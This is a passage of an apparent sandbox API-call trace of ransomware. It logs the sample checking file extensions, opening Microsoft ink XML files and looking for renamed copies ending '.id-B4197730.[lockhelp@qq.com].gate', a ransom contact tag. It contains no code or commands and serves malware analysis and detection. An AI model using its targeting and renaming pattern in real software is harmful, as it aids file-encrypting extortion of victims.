Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString=".dbf") returned 4 [0274.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString=".1cd") returned 4 [0274.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString=".jpg") returned 4 [0274.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString=".doc") returned 4 [0274.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".docx") returned 5 [0274.427] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0274.427] lstrlenW (lpString=".pdf") returned 4 [0274.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".xls") returned 4 [0274.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".xlsx") returned 5 [0274.427] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0274.427] lstrlenW (lpString=".ppt") returned 4 [0274.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.427] lstrlenW (lpString=".zip") returned 4 [0274.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.427] lstrlenW (lpString=".rar") returned 4 [0274.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.427] lstrlenW (lpString=".bz2") returned 4 [0274.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.428] lstrlenW (lpString=".7z") returned 3 [0274.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.428] lstrlenW (lpString=".dbf") returned 4 [0274.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.428] lstrlenW (lpString=".1cd") returned 4 [0274.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0274.428] lstrlenW (lpString=".jpg") returned 4 [0274.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.428] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.428] lstrlenW (lpString="insert.xml") returned 10 [0274.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.432] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=215) returned 1 [0274.432] CloseHandle (hObject=0x390) returned 1 [0274.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0274.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.432] lstrlenW (lpString=".doc") returned 4 [0274.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.432] lstrlenW (lpString=".docx") returned 5 [0274.432] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0274.432] lstrlenW (lpString=".pdf") returned 4 [0274.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.432] lstrlenW (lpString=".xls") returned 4 [0274.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.432] lstrlenW (lpString=".xlsx") returned 5 [0274.432] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0274.432] lstrlenW (lpString=".ppt") returned 4 [0274.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".zip") returned 4 [0274.433] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.433] lstrlenW (lpString=".rar") returned 4 [0274.433] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString=".bz2") returned 4 [0274.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString=".7z") returned 3 [0274.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".dbf") returned 4 [0274.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".1cd") returned 4 [0274.433] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".jpg") returned 4 [0274.433] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".doc") returned 4 [0274.433] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString=".docx") returned 5 [0274.433] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0274.433] lstrlenW (lpString=".pdf") returned 4 [0274.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString=".xls") returned 4 [0274.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString=".xlsx") returned 5 [0274.433] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0274.433] lstrlenW (lpString=".ppt") returned 4 [0274.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.433] lstrlenW (lpString=".zip") returned 4 [0274.434] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.434] lstrlenW (lpString=".rar") returned 4 [0274.434] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.434] lstrlenW (lpString=".bz2") returned 4 [0274.434] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.434] lstrlenW (lpString=".7z") returned 3 [0274.434] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.434] lstrlenW (lpString=".dbf") returned 4 [0274.434] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.434] lstrlenW (lpString=".1cd") returned 4 [0274.434] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0274.434] lstrlenW (lpString=".jpg") returned 4 [0274.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.434] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.434] lstrlenW (lpString="keypadbase.xml") returned 14 [0274.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.435] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=903) returned 1 [0274.435] CloseHandle (hObject=0x390) returned 1 [0274.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0274.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.439] lstrlenW (lpString=".doc") returned 4 [0274.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.439] lstrlenW (lpString=".docx") returned 5 [0274.439] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.439] lstrlenW (lpString=".pdf") returned 4 [0274.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.439] lstrlenW (lpString=".xls") returned 4 [0274.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.439] lstrlenW (lpString=".xlsx") returned 5 [0274.439] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.439] lstrlenW (lpString=".ppt") returned 4 [0274.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString=".zip") returned 4 [0274.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.440] lstrlenW (lpString=".rar") returned 4 [0274.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString=".bz2") returned 4 [0274.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString=".7z") returned 3 [0274.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString=".dbf") returned 4 [0274.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString=".1cd") returned 4 [0274.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString=".jpg") returned 4 [0274.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.440] lstrlenW (lpString=".doc") returned 4 [0274.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.440] lstrlenW (lpString=".docx") returned 5 [0274.440] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.440] lstrlenW (lpString=".pdf") returned 4 [0274.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString=".xls") returned 4 [0274.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString=".xlsx") returned 5 [0274.441] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.441] lstrlenW (lpString=".ppt") returned 4 [0274.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.441] lstrlenW (lpString=".zip") returned 4 [0274.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.441] lstrlenW (lpString=".rar") returned 4 [0274.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString=".bz2") returned 4 [0274.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString=".7z") returned 3 [0274.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.441] lstrlenW (lpString=".dbf") returned 4 [0274.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.441] lstrlenW (lpString=".1cd") returned 4 [0274.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0274.441] lstrlenW (lpString=".jpg") returned 4 [0274.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.442] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.442] lstrlenW (lpString="keypad.xml") returned 10 [0274.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.442] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=693) returned 1 [0274.442] CloseHandle (hObject=0x390) returned 1 [0274.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0274.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.442] lstrlenW (lpString=".doc") returned 4 [0274.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.442] lstrlenW (lpString=".docx") returned 5 [0274.442] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0274.442] lstrlenW (lpString=".pdf") returned 4 [0274.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString=".xls") returned 4 [0274.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString=".xlsx") returned 5 [0274.443] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0274.443] lstrlenW (lpString=".ppt") returned 4 [0274.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString=".zip") returned 4 [0274.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.443] lstrlenW (lpString=".rar") returned 4 [0274.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString=".bz2") returned 4 [0274.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString=".7z") returned 3 [0274.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString=".dbf") returned 4 [0274.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString=".1cd") returned 4 [0274.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString=".jpg") returned 4 [0274.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.443] lstrlenW (lpString=".doc") returned 4 [0274.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString=".docx") returned 5 [0274.444] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0274.444] lstrlenW (lpString=".pdf") returned 4 [0274.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString=".xls") returned 4 [0274.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString=".xlsx") returned 5 [0274.444] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0274.444] lstrlenW (lpString=".ppt") returned 4 [0274.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.444] lstrlenW (lpString=".zip") returned 4 [0274.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.444] lstrlenW (lpString=".rar") returned 4 [0274.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString=".bz2") returned 4 [0274.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString=".7z") returned 3 [0274.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.444] lstrlenW (lpString=".dbf") returned 4 [0274.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.444] lstrlenW (lpString=".1cd") returned 4 [0274.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0274.444] lstrlenW (lpString=".jpg") returned 4 [0274.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.444] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.444] lstrlenW (lpString="base.xml") returned 8 [0274.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.445] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3333) returned 1 [0274.445] CloseHandle (hObject=0x390) returned 1 [0274.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0274.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.446] lstrlenW (lpString=".doc") returned 4 [0274.446] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString=".docx") returned 5 [0274.446] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.446] lstrlenW (lpString=".pdf") returned 4 [0274.446] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString=".xls") returned 4 [0274.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString=".xlsx") returned 5 [0274.446] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.446] lstrlenW (lpString=".ppt") returned 4 [0274.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.446] lstrlenW (lpString=".zip") returned 4 [0274.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.446] lstrlenW (lpString=".rar") returned 4 [0274.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString=".bz2") returned 4 [0274.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.446] lstrlenW (lpString=".7z") returned 3 [0274.446] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.446] lstrlenW (lpString=".dbf") returned 4 [0274.446] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.447] lstrlenW (lpString=".1cd") returned 4 [0274.447] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.447] lstrlenW (lpString=".jpg") returned 4 [0274.447] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.447] lstrlenW (lpString=".doc") returned 4 [0274.447] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString=".docx") returned 5 [0274.447] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.447] lstrlenW (lpString=".pdf") returned 4 [0274.447] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString=".xls") returned 4 [0274.447] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString=".xlsx") returned 5 [0274.447] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.447] lstrlenW (lpString=".ppt") returned 4 [0274.447] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.447] lstrlenW (lpString=".zip") returned 4 [0274.447] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.447] lstrlenW (lpString=".rar") returned 4 [0274.447] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.447] lstrlenW (lpString=".bz2") returned 4 [0274.447] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.448] lstrlenW (lpString=".7z") returned 3 [0274.448] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.448] lstrlenW (lpString=".dbf") returned 4 [0274.448] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0274.448] lstrlenW (lpString=".1cd") returned 4 [0274.448] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.448] 